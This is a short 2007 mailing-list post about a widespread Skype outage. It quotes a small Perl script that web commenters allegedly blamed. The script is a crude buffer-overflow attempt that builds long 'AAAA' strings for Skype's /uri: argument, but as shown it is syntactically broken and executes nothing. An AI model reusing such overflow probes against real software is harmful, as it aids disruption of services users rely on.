[Edinburgh-pm] vandals: 1 skype: 0

[Nick Woolley]

My skype connection has stopped working.  Hasn't worked since yesterday 
morning. Worse, it seems like nearly *everyones* has:

   http://www.theregister.co.uk/2007/08/16/skype_down/

Allegedly, from the comments on that page, some anonymous Russian script 
kiddie vandalised it using this beauty:

  #!/usr/bin/perl
  # Simle Code by Maranax Porex ;D
  # Ya Skaypeg!!

  for ($i=256; $i>xCCCCC; $i=$i+256){
  $eot='AAAA' x $i;
  call_sp();
  }
  exit;

  sub call_sp(){
  $str="\"C:\\Program Files\\Skype\\Phone\\Skype.exe\" \"/uri:$eot\"";
  }

http://en.securitylab.ru/poc/extra/301419.php


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